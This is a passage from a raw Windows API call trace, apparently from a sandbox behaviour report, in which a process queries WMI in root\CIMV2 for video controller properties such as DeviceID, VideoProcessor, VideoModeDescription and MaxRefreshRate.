plFlavor=0x29e9a7c*=0 | out: pVal=0x1afbc400*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="VideoController1", varVal2=0x0), pType=0x29e9a78*=8, plFlavor=0x29e9a7c*=0) returned 0x0 [0169.114] SysStringByteLen (bstr="VideoController1") returned 0x20 [0169.114] SysStringByteLen (bstr="VideoController1") returned 0x20 [0169.114] IWbemClassObject:Get (in: This=0x1b220b50, wszName="DeviceID", lFlags=0, pVal=0x1afbc450*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e9a78*=8, plFlavor=0x29e9a7c*=0 | out: pVal=0x1afbc450*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="VideoController1", varVal2=0x0), pType=0x29e9a78*=8, plFlavor=0x29e9a7c*=0) returned 0x0 [0169.114] SysStringByteLen (bstr="VideoController1") returned 0x20 [0169.114] SysStringByteLen (bstr="VideoController1") returned 0x20 [0169.115] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b43c0, puCount=0x1afbc448 | out: puCount=0x1afbc448*=0x2) returned 0x0 [0169.115] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc440*=0xf, pszText=0x0) returned 0x0 [0169.115] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc440*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.115] IWbemClassObject:Get (in: This=0x1b220b50, wszName="DeviceID", lFlags=0, pVal=0x1afbc400*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e9b70*=0, plFlavor=0x29e9b74*=0 | out: pVal=0x1afbc400*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="VideoController1", varVal2=0x0), pType=0x29e9b70*=8, plFlavor=0x29e9b74*=0) returned 0x0 [0169.115] SysStringByteLen (bstr="VideoController1") returned 0x20 [0169.115] SysStringByteLen (bstr="VideoController1") returned 0x20 [0169.115] IWbemClassObject:Get (in: This=0x1b220b50, wszName="DeviceID", lFlags=0, pVal=0x1afbc450*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e9b70*=8, plFlavor=0x29e9b74*=0 | out: pVal=0x1afbc450*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="VideoController1", varVal2=0x0), pType=0x29e9b70*=8, plFlavor=0x29e9b74*=0) returned 0x0 [0169.115] SysStringByteLen (bstr="VideoController1") returned 0x20 [0169.115] SysStringByteLen (bstr="VideoController1") returned 0x20 [0169.115] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b43c0, puCount=0x1afbc448 | out: puCount=0x1afbc448*=0x2) returned 0x0 [0169.115] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc440*=0xf, pszText=0x0) returned 0x0 [0169.115] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc440*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.115] IWbemClassObject:Get (in: This=0x1b220b50, wszName="VideoArchitecture", lFlags=0, pVal=0x1afbc400*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e9d28*=0, plFlavor=0x29e9d2c*=0 | out: pVal=0x1afbc400*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5, varVal2=0x0), pType=0x29e9d28*=18, plFlavor=0x29e9d2c*=0) returned 0x0 [0169.115] IWbemClassObject:Get (in: This=0x1b220b50, wszName="VideoArchitecture", lFlags=0, pVal=0x1afbc450*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e9d28*=18, plFlavor=0x29e9d2c*=0 | out: pVal=0x1afbc450*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5, varVal2=0x0), pType=0x29e9d28*=18, plFlavor=0x29e9d2c*=0) returned 0x0 [0169.115] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b43c0, puCount=0x1afbc448 | out: puCount=0x1afbc448*=0x2) returned 0x0 [0169.115] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc440*=0xf, pszText=0x0) returned 0x0 [0169.116] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc440*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.116] IWbemClassObject:Get (in: This=0x1b220b50, wszName="VideoArchitecture", lFlags=0, pVal=0x1afbc400*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e9e00*=0, plFlavor=0x29e9e04*=0 | out: pVal=0x1afbc400*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5, varVal2=0x0), pType=0x29e9e00*=18, plFlavor=0x29e9e04*=0) returned 0x0 [0169.116] IWbemClassObject:Get (in: This=0x1b220b50, wszName="VideoArchitecture", lFlags=0, pVal=0x1afbc450*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e9e00*=18, plFlavor=0x29e9e04*=0 | out: pVal=0x1afbc450*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5, varVal2=0x0), pType=0x29e9e00*=18, plFlavor=0x29e9e04*=0) returned 0x0 [0169.116] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b43c0, puCount=0x1afbc448 | out: puCount=0x1afbc448*=0x2) returned 0x0 [0169.116] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc440*=0xf, pszText=0x0) returned 0x0 [0169.116] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc440*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.116] IWbemClassObject:Get (in: This=0x1b220b50, wszName="VideoProcessor", lFlags=0, pVal=0x1afbc400*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e9fa0*=0, plFlavor=0x29e9fa4*=0 | out: pVal=0x1afbc400*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) HD Graphics Family", varVal2=0x0), pType=0x29e9fa0*=8, plFlavor=0x29e9fa4*=0) returned 0x0 [0169.116] SysStringByteLen (bstr="Intel(R) HD Graphics Family") returned 0x36 [0169.116] SysStringByteLen (bstr="Intel(R) HD Graphics Family") returned 0x36 [0169.116] IWbemClassObject:Get (in: This=0x1b220b50, wszName="VideoProcessor", lFlags=0, pVal=0x1afbc450*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e9fa0*=8, plFlavor=0x29e9fa4*=0 | out: pVal=0x1afbc450*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) HD Graphics Family", varVal2=0x0), pType=0x29e9fa0*=8, plFlavor=0x29e9fa4*=0) returned 0x0 [0169.116] SysStringByteLen (bstr="Intel(R) HD Graphics Family") returned 0x36 [0169.116] SysStringByteLen (bstr="Intel(R) HD Graphics Family") returned 0x36 [0169.117] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b43c0, puCount=0x1afbc448 | out: puCount=0x1afbc448*=0x2) returned 0x0 [0169.117] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc440*=0xf, pszText=0x0) returned 0x0 [0169.117] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc440*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.117] IWbemClassObject:Get (in: This=0x1b220b50, wszName="VideoProcessor", lFlags=0, pVal=0x1afbc400*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ea0b8*=0, plFlavor=0x29ea0bc*=0 | out: pVal=0x1afbc400*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) HD Graphics Family", varVal2=0x0), pType=0x29ea0b8*=8, plFlavor=0x29ea0bc*=0) returned 0x0 [0169.117] SysStringByteLen (bstr="Intel(R) HD Graphics Family") returned 0x36 [0169.117] SysStringByteLen (bstr="Intel(R) HD Graphics Family") returned 0x36 [0169.117] IWbemClassObject:Get (in: This=0x1b220b50, wszName="VideoProcessor", lFlags=0, pVal=0x1afbc450*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ea0b8*=8, plFlavor=0x29ea0bc*=0 | out: pVal=0x1afbc450*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) HD Graphics Family", varVal2=0x0), pType=0x29ea0b8*=8, plFlavor=0x29ea0bc*=0) returned 0x0 [0169.117] SysStringByteLen (bstr="Intel(R) HD Graphics Family") returned 0x36 [0169.117] SysStringByteLen (bstr="Intel(R) HD Graphics Family") returned 0x36 [0169.117] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b43c0, puCount=0x1afbc448 | out: puCount=0x1afbc448*=0x2) returned 0x0 [0169.117] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc440*=0xf, pszText=0x0) returned 0x0 [0169.117] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc440*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.117] IWbemClassObject:Get (in: This=0x1b220b50, wszName="VideoModeDescription", lFlags=0, pVal=0x1afbc400*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ea2a0*=0, plFlavor=0x29ea2a4*=0 | out: pVal=0x1afbc400*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1440 x 900 x 4294967296 colors", varVal2=0x0), pType=0x29ea2a0*=8, plFlavor=0x29ea2a4*=0) returned 0x0 [0169.117] SysStringByteLen (bstr="1440 x 900 x 4294967296 colors") returned 0x3c [0169.117] SysStringByteLen (bstr="1440 x 900 x 4294967296 colors") returned 0x3c [0169.118] IWbemClassObject:Get (in: This=0x1b220b50, wszName="VideoModeDescription", lFlags=0, pVal=0x1afbc450*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ea2a0*=8, plFlavor=0x29ea2a4*=0 | out: pVal=0x1afbc450*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1440 x 900 x 4294967296 colors", varVal2=0x0), pType=0x29ea2a0*=8, plFlavor=0x29ea2a4*=0) returned 0x0 [0169.118] SysStringByteLen (bstr="1440 x 900 x 4294967296 colors") returned 0x3c [0169.118] SysStringByteLen (bstr="1440 x 900 x 4294967296 colors") returned 0x3c [0169.118] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b43c0, puCount=0x1afbc448 | out: puCount=0x1afbc448*=0x2) returned 0x0 [0169.118] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc440*=0xf, pszText=0x0) returned 0x0 [0169.118] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc440*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.118] IWbemClassObject:Get (in: This=0x1b220b50, wszName="VideoModeDescription", lFlags=0, pVal=0x1afbc400*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ea3c8*=0, plFlavor=0x29ea3cc*=0 | out: pVal=0x1afbc400*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1440 x 900 x 4294967296 colors", varVal2=0x0), pType=0x29ea3c8*=8, plFlavor=0x29ea3cc*=0) returned 0x0 [0169.118] SysStringByteLen (bstr="1440 x 900 x 4294967296 colors") returned 0x3c [0169.118] SysStringByteLen (bstr="1440 x 900 x 4294967296 colors") returned 0x3c [0169.118] IWbemClassObject:Get (in: This=0x1b220b50, wszName="VideoModeDescription", lFlags=0, pVal=0x1afbc450*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ea3c8*=8, plFlavor=0x29ea3cc*=0 | out: pVal=0x1afbc450*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1440 x 900 x 4294967296 colors", varVal2=0x0), pType=0x29ea3c8*=8, plFlavor=0x29ea3cc*=0) returned 0x0 [0169.118] SysStringByteLen (bstr="1440 x 900 x 4294967296 colors") returned 0x3c [0169.118] SysStringByteLen (bstr="1440 x 900 x 4294967296 colors") returned 0x3c [0169.119] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b43c0, puCount=0x1afbc448 | out: puCount=0x1afbc448*=0x2) returned 0x0 [0169.119] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc440*=0xf, pszText=0x0) returned 0x0 [0169.119] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc440*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.119] IWbemClassObject:Get (in: This=0x1b220b50, wszName="MaxRefreshRate", lFlags=0, pVal=0x1afbc400*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ea598*=0, plFlavor=0x29ea59c*=0 | out: pVal=0x1afbc400*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x40, varVal2=0x0), pType=0x29ea598*=19, plFlavor=0x29ea59c*=0) returned 0x0 [0169.119] IWbemClassObject:Get (in: This=0x1b220b50, wszName="MaxRefreshRate", lFlags=0, pVal=0x1afbc450*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ea598*=19, plFlavor=0x29ea59c*=0 | out: pVal=0x1afbc450*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x40, varVal2=0x0), pType=0x29ea598*=19, plFlavor=0x29ea59c*=0) returned 0x0 [0169.119] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b43c0, puCount=0x1afbc448 | out: puCount=0x1afbc448*=0x2) returned 0x0 [0169.119] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc440*=0xf, pszText=0x0) returned 0x0 [0169.119] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc440*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.119] IWbemClassObject:Get (in: This=0x1b220b50, wszName="MaxRefreshRate", lFlags=0, pVal=0x1afbc400*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ea670*=0, plFlavor=0x29ea674*=0 | out: pVal=0x1afbc400*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x40, varVal2=0x0), pType=0x29ea670*=19, plFlavor=0x29ea674*=0) returned 0x0 [0169.119] IWbemClassObject:Get (in: This=0x1b220b50, wszName="MaxRefreshRate", lFlags=0, pVal=0x1afbc450*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ea670*=19, plFlavor=0x29ea674*=0 | out: pVal=0x1afbc450*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x40, varVal2=0x0), pType=0x29ea670*=19, plFlavor=0x29ea674*=0) returned 0x0 [0169.162] CoGetObjectContext (in: riid=0x2569d10*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbc658 | out: ppv=0x1afbc658*=0x77dd58) returned 0x0 [0169.162] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1afbc648 | out: pAptType=0x1afbc648*=1) returned 0x0 [0169.162] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2569cf0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1afbc650 | out: ppvObject=0x1afbc650*=0x0) returned 0x80004002 [0169.162] IUnknown:Release (This=0x77dd58) returned 0x1 [0169.163] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbba48 | out: ppv=0x1afbba48*=0x1b1fec30) returned 0x0 [0169.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b1fec30, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbbb30 | out: ppvObject=0x1afbbb30*=0x0) returned 0x80004002 [0169.163] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b1fec30, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbb08 | out: ppvObject=0x1afbbb08*=0x7b3dc0) returned 0x0 [0169.163] WbemDefPath:IUnknown:Release (This=0x1b1fec30) returned 0x0 [0169.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b3dc0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb8b0 | out: ppvObject=0x1afbb8b0*=0x7b3dc0) returned 0x0 [0169.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b3dc0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbb940 | out: ppvObject=0x1afbb940*=0x0) returned 0x80004002 [0169.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b3dc0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb138 | out: ppvObject=0x1afbb138*=0x0) returned 0x80004002 [0169.164] WbemDefPath:IUnknown:AddRef (This=0x7b3dc0) returned 0x3 [0169.164] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b3dc0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbaff8 | out: ppvObject=0x1afbaff8*=0x0) returned 0x80004002 [0169.164] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b3dc0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbaf80 | out: ppvObject=0x1afbaf80*=0x0) returned 0x80004002 [0169.164] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b3dc0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbaf70 | out: ppvObject=0x1afbaf70*=0x1b1fecb0) returned 0x0 [0169.164] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b1fecb0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbaf98 | out: pCid=0x1afbaf98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0169.164] WbemDefPath:IUnknown:Release (This=0x1b1fecb0) returned 0x3 [0169.164] CoGetContextToken (in: pToken=0x1afbb020 | out: pToken=0x1afbb020) returned 0x0 [0169.164] CoGetContextToken (in: pToken=0x1afbb4a0 | out: pToken=0x1afbb4a0) returned 0x0 [0169.164] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b3dc0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb560 | out: ppvObject=0x1afbb560*=0x0) returned 0x80004002 [0169.164] WbemDefPath:IUnknown:Release (This=0x7b3dc0) returned 0x2 [0169.164] WbemDefPath:IUnknown:Release (This=0x7b3dc0) returned 0x1 [0169.164] CoGetContextToken (in: pToken=0x1afbc290 | out: pToken=0x1afbc290) returned 0x0 [0169.164] CoGetContextToken (in: pToken=0x1afbc190 | out: pToken=0x1afbc190) returned 0x0 [0169.164] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b3dc0, riid=0x1afbc2f0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1afbc2c0 | out: ppvObject=0x1afbc2c0*=0x7b3dc0) returned 0x0 [0169.164] WbemDefPath:IUnknown:AddRef (This=0x7b3dc0) returned 0x3 [0169.164] WbemDefPath:IUnknown:Release (This=0x7b3dc0) returned 0x2 [0169.165] WbemDefPath:IWbemPath:SetText (This=0x7b3dc0, uMode=0x4, pszPath="root\\CIMV2") returned 0x0 [0169.165] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3dc0, puCount=0x1afbc678 | out: puCount=0x1afbc678*=0x2) returned 0x0 [0169.165] WbemDefPath:IWbemPath:GetText (in: This=0x7b3dc0, lFlags=4, puBuffLength=0x1afbc670*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc670*=0xf, pszText=0x0) returned 0x0 [0169.165] WbemDefPath:IWbemPath:GetText (in: This=0x7b3dc0, lFlags=4, puBuffLength=0x1afbc670*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc670*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.165] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3dc0, puCount=0x1afbc688 | out: puCount=0x1afbc688*=0x2) returned 0x0 [0169.165] WbemDefPath:IWbemPath:GetText (in: This=0x7b3dc0, lFlags=4, puBuffLength=0x1afbc680*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc680*=0xf, pszText=0x0) returned 0x0 [0169.165] WbemDefPath:IWbemPath:GetText (in: This=0x7b3dc0, lFlags=4, puBuffLength=0x1afbc680*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc680*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.165] CoGetObjectContext (in: riid=0x2569d10*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbc608 | out: ppv=0x1afbc608*=0x77dd58) returned 0x0 [0169.165] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1afbc5f8 | out: pAptType=0x1afbc5f8*=1) returned 0x0 [0169.165] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2569cf0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1afbc600 | out: ppvObject=0x1afbc600*=0x0) returned 0x80004002 [0169.165] IUnknown:Release (This=0x77dd58) returned 0x1 [0169.165] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbbcc8 | out: ppv=0x1afbbcc8*=0x1b1ff0b0) returned 0x0 [0169.166] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ff0b0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbbdb0 | out: ppvObject=0x1afbbdb0*=0x0) returned 0x80004002 [0169.166] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b1ff0b0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbd88 | out: ppvObject=0x1afbbd88*=0x1b1ff210) returned 0x0 [0169.166] WbemLocator:IUnknown:Release (This=0x1b1ff0b0) returned 0x0 [0169.166] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ff210, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbb30 | out: ppvObject=0x1afbbb30*=0x1b1ff210) returned 0x0 [0169.166] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ff210, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbbbc0 | out: ppvObject=0x1afbbbc0*=0x0) returned 0x80004002 [0169.166] WbemLocator:IUnknown:QueryInterface (in: 